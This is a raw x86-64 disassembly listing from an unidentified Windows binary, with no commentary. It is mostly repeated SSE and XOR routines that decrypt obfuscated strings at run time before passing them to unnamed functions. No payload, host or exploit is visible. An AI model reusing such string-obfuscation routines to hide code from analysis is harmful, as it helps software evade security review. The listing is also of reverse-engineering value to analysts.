movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c9af0
mov r8d, 0x10268
lea rdx, [0x140195770]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xe70]
lea rcx, [rbp - 0x37]
call fcn.1400ceaf0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400c9ce2
mov r8d, r15d
cmp r12d, 2
jl 0x1400c9ca1
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400c9ba0
jmp 0x1400c9ce2
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400c9cb0
mov r8d, 0x10268
lea rdx, [0x140181170]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 0x36]
call fcn.1400ceb00
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400c9e90
mov r8d, r15d
cmp r12d, 2
jl 0x1400c9e59
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c9d52
cmp r8d, 0x11
jge 0x1400c9e90
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c9e60
mov r8d, 0x10268
lea rdx, [0x1401810d0]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xe80]
lea rcx, [rbp - 0x35]
call fcn.1400ceb20
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400ca052
mov r8d, r15d
cmp r12d, 2
jl 0x1400ca011
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400c9f10
jmp 0x1400ca052
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400ca020
mov r8d, 0x10268
lea rdx, [0x140195740]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xb89]
lea rcx, [rbp - 0x34]
call fcn.1400ceb30
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400ca1d0
mov r8d, r15d
cmp r12d, 2
jl 0x1400ca197
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400ca1a0
mov r8d, 0x10268
lea rdx, [0x140181180]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 0x33]
call fcn.1400ceb60
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400ca380
mov r8d, r15d
cmp r12d, 2
jl 0x1400ca347
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400ca240
cmp r8d, 0x16
jge 0x1400ca380
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400ca350
mov r8d, 0x10268
lea rdx, [0x1401810f0]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 0x32]
call fcn.1400ceb90
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400ca530
mov r8d, r15d
cmp r12d, 2
jl 0x1400ca4f7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400ca3f0
cmp r8d, 0x16
jge 0x1400ca530
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400ca500
mov r8d, 0x10268
lea rdx, [0x140181160]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x31]
call fcn.1400cebc0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x1400ca6f2
mov r8d, r15d
cmp r12d, 2
jl 0x1400ca6b1
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400ca5b0
jmp 0x1400ca6f2
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400ca6c0
mov r8d, 0x10268
lea rdx, [0x1401811c8]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0x72d]
lea rcx, [rbp - 0x30]
call fcn.1400cebe0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400ca748
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
mov r8d, 0x10268
lea rdx, [0x140181138]
mov rcx, rax
call fcn.14005d470
call fcn.140029df0
call fcn.140022f60
movss xmm2, dword [0x14016bd8c]
movss xmm1, dword [0x14016bf80]
lea rcx, [rbp + 0x628]
call fcn.140018e80
mov rcx, rax
call fcn.14002ea70
mov eax, 0x160
cmp dword [reloc.WS2_32.dll_accept], 7
mov edi, 1
cmove eax, edi
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mov eax, 0xe5
cmove eax, edi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
lea rcx, [rbp + 0x630]
call fcn.140018e80
mov rdx, rax
lea r9d, [rdi + 7]
xor r8d, r8d
lea rcx, [0x14016954c]
call fcn.140022a10
mov rcx, qword [0x140197030]
call fcn.140029cc0
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, edi
jne 0x1400cac65
lea rdx, [rbp + 0x737]
lea rcx, [rbp - 0x2f]
call fcn.1400cec00
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400ca832
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fdf]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x741]
lea rcx, [rbp - 0x2e]
call fcn.1400cec20
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400ca882
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fb3]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x7bc]
lea rcx, [rbp - 0x2d]
call fcn.1400cec40
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400ca8d6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [0x140196fbb]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x988]
lea rcx, [rbp - 0x2c]
call fcn.1400cec70
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x1400caa50
mov r8d, r15d
cmp r12d, 2
jl 0x1400caa1a
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400caa20
lea rdx, [0x140196fca]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x74b]
lea rcx, [rbp - 0x2b]
call fcn.1400cec90
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400caaa0
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fc9]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x2a]
call fcn.1400cecb0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400cac50
mov r8d, r15d
cmp r12d, 2
jl 0x1400cac17
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cab10
cmp r8d, 0x11
jge 0x1400cac50
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cac20
lea rdx, [0x140196fc7]
mov rcx, r10
call fcn.140051f50
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 2
jne 0x1400cb748
lea rdx, [rbp + 0xa1a]
lea rcx, [rbp - 0x29]
